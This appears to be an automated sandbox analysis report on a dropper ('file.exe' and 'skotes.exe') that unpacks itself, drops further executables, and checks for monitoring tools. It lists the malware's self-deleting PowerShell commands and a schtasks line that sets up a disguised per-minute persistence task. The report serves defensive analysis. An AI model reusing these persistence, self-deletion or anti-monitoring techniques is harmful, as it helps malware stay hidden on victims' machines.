Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe	Section loaded: cryptsp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 2966528 > 1048576

Source: file.exe

Static PE information: Raw size of jxgkweio is bigger than: 0x100000 < 0x2a2800

Source:	Binary string: wkernel32.pdb source: 09c0b8253b.exe, 0000002C.00000003.3234411504.00000000059B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 09c0b8253b.exe, 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 09c0b8253b.exe, 0000002C.00000003.3231307688.0000000005890000.00000004.00000001.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000003.3231908453.0000000005A80000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3233078686.0000000005A30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3231307688.0000000005890000.00000004.00000001.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000003.3231908453.0000000005A80000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 09c0b8253b.exe, 0000002C.00000003.3233078686.0000000005A30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3234411504.00000000059B0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 09c0b8253b.exe, 0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, 1c5200ac19.exe, 00000025.00000000.3110356023.0000000000282000.00000002.00000001.01000000.00000011.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jxgkweio:EW;wbrwgikq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Unpacked PE file: 35.2.fe64902db3.exe.1b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Unpacked PE file: 44.2.09c0b8253b.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ufswpnwm:EW;sqgpzdip:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ufswpnwm:EW;sqgpzdip:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: random[1].exe0.6.dr

Static PE information: 0xC03B6D70 [Sun Mar 13 18:41:52 2072 UTC]

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

7_2_00402665

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 7z.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x445a4c should be: 0x44c207
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: 7z.dll.7.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: Intel_PTT_EK_Recertification.exe.20.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: in.exe.18.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: fe64902db3.exe.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: c9ea911eaa.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: file.exe	Static PE information: real checksum: 0x2d49e2 should be: 0x2dd13b
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2d49e2 should be: 0x2dd13b
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: 1c5200ac19.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: ed0fb10817.exe.6.dr	Static PE information: real checksum: 0x445a4c should be: 0x44c207
Source: 09c0b8253b.exe.6.dr	Static PE information: real checksum: 0x1f1190 should be: 0x1eb290
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x1f1190 should be: 0x1eb290

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: jxgkweio
Source: file.exe	Static PE information: section name: wbrwgikq
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: jxgkweio
Source: skotes.exe.0.dr	Static PE information: section name: wbrwgikq
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: nlrrxusx
Source: random[1].exe.6.dr	Static PE information: section name: kobwowvr
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: ed0fb10817.exe.6.dr	Static PE information: section name:
Source: ed0fb10817.exe.6.dr	Static PE information: section name: .idata
Source: ed0fb10817.exe.6.dr	Static PE information: section name:
Source: ed0fb10817.exe.6.dr	Static PE information: section name: nlrrxusx
Source: ed0fb10817.exe.6.dr	Static PE information: section name: kobwowvr
Source: ed0fb10817.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: ufswpnwm
Source: random[2].exe.6.dr	Static PE information: section name: sqgpzdip
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 09c0b8253b.exe.6.dr	Static PE information: section name:
Source: 09c0b8253b.exe.6.dr	Static PE information: section name: .idata
Source: 09c0b8253b.exe.6.dr	Static PE information: section name:
Source: 09c0b8253b.exe.6.dr	Static PE information: section name: ufswpnwm
Source: 09c0b8253b.exe.6.dr	Static PE information: section name: sqgpzdip
Source: 09c0b8253b.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: xnuzvlhe
Source: random[1].exe2.6.dr	Static PE information: section name: tzuttanx
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: fe64902db3.exe.6.dr	Static PE information: section name:
Source: fe64902db3.exe.6.dr	Static PE information: section name: .idata
Source: fe64902db3.exe.6.dr	Static PE information: section name:
Source: fe64902db3.exe.6.dr	Static PE information: section name: xnuzvlhe
Source: fe64902db3.exe.6.dr	Static PE information: section name: tzuttanx
Source: fe64902db3.exe.6.dr	Static PE information: section name: .taggant
Source: in.exe.18.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.20.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0D91C push ecx; ret	0_2_00B0D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B01359 push es; ret	0_2_00B0135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0060D91C push ecx; ret	2_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_005FAA0E pushad ; retf	2_2_005FAA0F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0060D91C push ecx; ret	3_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0060D91C push ecx; ret	6_2_0060D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0060DFC6 push ecx; ret	6_2_0060DFD9
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Code function: 7_2_004192C0 push eax; ret	7_2_004192EE
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A5676A push rcx; ret	11_2_00A5676B

Source: file.exe	Static PE information: section name: entropy: 7.986792457616317
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.986792457616317
Source: random[1].exe.6.dr	Static PE information: section name: nlrrxusx entropy: 7.956481419418785
Source: ed0fb10817.exe.6.dr	Static PE information: section name: nlrrxusx entropy: 7.956481419418785
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.972553636984741
Source: random[2].exe.6.dr	Static PE information: section name: ufswpnwm entropy: 7.951599146099246
Source: 09c0b8253b.exe.6.dr	Static PE information: section name: entropy: 7.972553636984741
Source: 09c0b8253b.exe.6.dr	Static PE information: section name: ufswpnwm entropy: 7.951599146099246
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: random[1].exe2.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: fe64902db3.exe.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: fe64902db3.exe.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
